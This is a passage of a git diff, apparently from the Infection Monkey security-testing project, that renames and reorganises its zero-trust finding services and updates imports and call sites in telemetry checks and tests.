.../telemetry/zero_trust_checks/tunneling.py | 8 ++--- .../zero_trust/monkey_findings/__init__.py | 0 .../monkey_zt_details_service.py} | 6 ++-- .../monkey_zt_finding_service.py} | 10 +++--- .../scoutsuite/consts/findings_list.py | 8 ----- .../cloudformation_rule_path_creator.py | 10 ------ .../cloudtrail_rule_path_creator.py | 10 ------ .../cloudwatch_rule_path_creator.py | 10 ------ .../config_rule_path_creator.py | 10 ------ .../ec2_rule_path_creator.py | 10 ------ .../elb_rule_path_creator.py | 10 ------ .../elbv2_rule_path_creator.py | 10 ------ .../iam_rule_path_creator.py | 10 ------ .../rds_rule_path_creator.py | 10 ------ .../redshift_rule_path_creator.py | 10 ------ .../s3_rule_path_creator.py | 10 ------ .../ses_rule_path_creator.py | 10 ------ .../sns_rule_path_creator.py | 10 ------ .../sqs_rule_path_creator.py | 10 ------ .../vpc_rule_path_creator.py | 10 ------ .../rule_path_creators_list.py | 35 ------------------- .../__init__.py | 0 .../consts/findings.py | 30 ++++++++-------- .../consts/findings_list.py | 8 +++++ .../consts/rule_consts.py | 0 .../consts/rule_names/cloudformation_rules.py | 0 .../consts/rule_names/cloudtrail_rules.py | 0 .../consts/rule_names/cloudwatch_rules.py | 0 .../consts/rule_names/config_rules.py | 0 .../consts/rule_names/ec2_rules.py | 0 .../consts/rule_names/elb_rules.py | 0 .../consts/rule_names/elbv2_rules.py | 0 .../consts/rule_names/iam_rules.py | 0 .../consts/rule_names/rds_rules.py | 0 .../consts/rule_names/redshift_rules.py | 0 .../consts/rule_names/s3_rules.py | 0 .../consts/rule_names/ses_rules.py | 0 .../consts/rule_names/sns_rules.py | 0 .../consts/rule_names/sqs_rules.py | 0 .../consts/rule_names/vpc_rules.py | 0 .../consts/service_consts.py | 0 .../data_parsing/rule_parser.py | 2 +- .../abstract_rule_path_creator.py | 2 +- .../cloudformation_rule_path_creator.py | 9 +++++ .../cloudtrail_rule_path_creator.py | 9 +++++ .../cloudwatch_rule_path_creator.py | 9 +++++ .../config_rule_path_creator.py | 9 +++++ .../ec2_rule_path_creator.py | 9 +++++ .../elb_rule_path_creator.py | 9 +++++ .../elbv2_rule_path_creator.py | 9 +++++ .../iam_rule_path_creator.py | 9 +++++ .../rds_rule_path_creator.py | 9 +++++ .../redshift_rule_path_creator.py | 9 +++++ .../s3_rule_path_creator.py | 9 +++++ .../ses_rule_path_creator.py | 9 +++++ .../sns_rule_path_creator.py | 9 +++++ .../sqs_rule_path_creator.py | 9 +++++ .../vpc_rule_path_creator.py | 9 +++++ .../rule_path_creators_list.py | 35 +++++++++++++++++++ .../scoutsuite_auth_service.py | 0 .../scoutsuite_rule_service.py | 2 +- .../scoutsuite_zt_finding_service.py} | 18 +++++----- ...rvice.py => zero_trust_finding_service.py} | 10 +++--- 75 files changed, 261 insertions(+), 275 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/monkey_findings/__init__.py rename monkey/monkey_island/cc/services/zero_trust/{monkey_details_service.py => monkey_findings/monkey_zt_details_service.py} (87%) rename monkey/monkey_island/cc/services/zero_trust/{monkey_finding_service.py => monkey_findings/monkey_zt_finding_service.py} (82%) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/__init__.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/findings.py (83%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_consts.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/cloudformation_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/cloudtrail_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/cloudwatch_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/config_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/ec2_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/elb_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/elbv2_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/iam_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/rds_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/redshift_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/s3_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/ses_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/sns_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/sqs_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/rule_names/vpc_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/consts/service_consts.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/data_parsing/rule_parser.py (88%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/data_parsing/rule_path_building/abstract_rule_path_creator.py (80%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/scoutsuite_auth_service.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite => scoutsuite_findings}/scoutsuite_rule_service.py (92%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite/scoutsuite_finding_service.py => scoutsuite_findings/scoutsuite_zt_finding_service.py} (75%) rename monkey/monkey_island/cc/services/zero_trust/{finding_service.py => zero_trust_finding_service.py} (77%) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py index dee49983a..4fa37faf6 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py @@ -1,6 +1,6 @@ from mongoengine import DynamicField, EmbeddedDocument, IntField, ListField, StringField -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts +from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts import rule_consts class ScoutSuiteRule(EmbeddedDocument): diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 134abf559..fe8757b9a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -6,7 +6,7 @@ from packaging import version import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -23,12 +23,12 @@ class TestAggregateFinding(IslandTestCase): events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - MonkeyFindingService.create_or_add_to_existing(test, status, events) + MonkeyZTFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - MonkeyFindingService.create_or_add_to_existing(test, status, events) + MonkeyZTFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) @@ -50,7 +50,7 @@ class TestAggregateFinding(IslandTestCase): self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - MonkeyFindingService.create_or_add_to_existing(test, status, events) + MonkeyZTFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) @@ -60,4 +60,4 @@ class TestAggregateFinding(IslandTestCase): self.assertEqual(len(Finding.objects(test=test, status=status)), 2) with self.assertRaises(AssertionError): - MonkeyFindingService.create_or_add_to_existing(test, status, events) + MonkeyZTFindingService.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index 0e6c09b11..ddef04b77 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -3,11 +3,11 @@ import json import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService class ZeroTrustFindingEvent(flask_restful.Resource): @jwt_required def get(self, finding_id: str): - return {'events_json': json.dumps(MonkeyFindingService.get_events_by_finding(finding_id), default=str)} + return {'events_json': json.dumps(MonkeyZTFindingService.get_events_by_finding(finding_id), default=str)} diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py index 53e757f11..0642333bb 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py @@ -1,7 +1,7 @@ import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import get_aws_keys +from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_auth_service import get_aws_keys class AWSKeys(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index dbed4dd51..ea2086dc5 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -6,8 +6,8 @@ from flask import request from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup, - set_aws_keys) +from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_auth_service import (is_cloud_authentication_setup, + set_aws_keys) class ScoutSuiteAuth(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 8bbfb2a23..94904b4c7 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -2,10 +2,10 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings_list import SCOUTSUITE_FINDINGS -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_finding_service import ScoutSuiteFindingService -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from ...zero_trust.scoutsuite_findings.consts.findings_list import SCOUTSUITE_FINDINGS +from ...zero_trust.scoutsuite_findings.data_parsing.rule_parser import RuleParser +from ...zero_trust.scoutsuite_findings.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from ...zero_trust.scoutsuite_findings.scoutsuite_rule_service import ScoutSuiteRuleService def process_scoutsuite_telemetry(telemetry_json): @@ -22,7 +22,7 @@ def create_scoutsuite_findings(scoutsuite_data): for rule in finding.rules: rule_data = RuleParser.get_rule_data(scoutsuite_data, rule) rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) - ScoutSuiteFindingService.process_rule(finding, rule) + ScoutSuiteZTFindingService.process_rule(finding, rule) def update_data(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index e15969ec8..a6b90cc45 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -4,7 +4,7 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService def check_antivirus_existence(process_list_json, monkey_guid): @@ -30,8 +30,8 @@ def check_antivirus_existence(process_list_json, monkey_guid): test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - status=test_status, events=events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + status=test_status, events=events) def filter_av_processes(process_list): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 00c197e0a..94412b3ba 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -1,6 +1,6 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ @@ -8,9 +8,10 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def check_new_user_communication(current_monkey, success, message): - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, - events=[ + status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ get_attempt_event(current_monkey), get_result_event(current_monkey, message, success) ]) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index e74c5c464..a5d42ef2c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -4,7 +4,7 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] @@ -55,10 +55,10 @@ def check_open_data_endpoints(telemetry_json): event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, events=events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, events=events) - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, events=events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, events=events) - MonkeyFindingService.add_malicious_activity_to_timeline(events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index e47c4a831..d6813259c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -1,6 +1,6 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): @@ -29,7 +29,7 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe ) status = zero_trust_consts.STATUS_FAILED - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, - events=events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, + events=events) - MonkeyFindingService.add_malicious_activity_to_timeline(events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index 1c43e2863..d5a56b36d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -6,7 +6,7 @@ from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ "from `{src_seg}` segments to `{dst_seg}` segments." @@ -26,7 +26,7 @@ def check_segmentation_violation(current_monkey, target_ip): target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) - MonkeyFindingService.create_or_add_to_existing( + MonkeyZTFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event] @@ -90,7 +90,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) for subnet_pair in all_subnets_pairs_for_this_monkey: - MonkeyFindingService.create_or_add_to_existing( + MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_PASSED, events=[get_segmentation_done_event(current_monkey, subnet_pair)], test=zero_trust_consts.TEST_SEGMENTATION diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py index 6b1c76aea..e4aa49dc2 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py @@ -5,7 +5,7 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService from monkey_island.cc.testing.IslandTestCase import IslandTestCase FIRST_SUBNET = "1.1.1.1" @@ -37,7 +37,7 @@ class TestSegmentationChecks(IslandTestCase): 2) # This is a monkey from 2nd subnet communicated with 1st subnet. - MonkeyFindingService.create_or_add_to_existing( + MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_FAILED, test=zero_trust_consts.TEST_SEGMENTATION, events=[Event.create_event(title="sdf", diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index dc5092345..4b755be98 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -2,7 +2,7 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService def check_tunneling_violation(tunnel_telemetry_json): @@ -18,7 +18,7 @@ def check_tunneling_violation(tunnel_telemetry_json): timestamp=tunnel_telemetry_json['timestamp'] )] - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) - MonkeyFindingService.add_malicious_activity_to_timeline(tunneling_events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/__init__.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py similarity index 87% rename from monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py rename to monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 5332ed90b..e73ce0cec 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind EVENT_FETCH_CNT = 50 -class MonkeyDetailsService: +class MonkeyZTDetailsService: @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: @@ -21,8 +21,8 @@ class MonkeyDetailsService: details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if details: details = details[0] - details['latest_events'] = MonkeyDetailsService._get_events_without_overlap(details['event_count'], - details['latest_events']) + details['latest_events'] = MonkeyZTDetailsService._get_events_without_overlap(details['event_count'], + details['latest_events']) return details @staticmethod diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py similarity index 82% rename from monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 46c3137bf..c3c45e69e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -8,7 +8,7 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -class MonkeyFindingService: +class MonkeyZTFindingService: @staticmethod def create_or_add_to_existing(test, status, events): @@ -23,10 +23,10 @@ class MonkeyFindingService: assert (len(existing_findings) < 2), 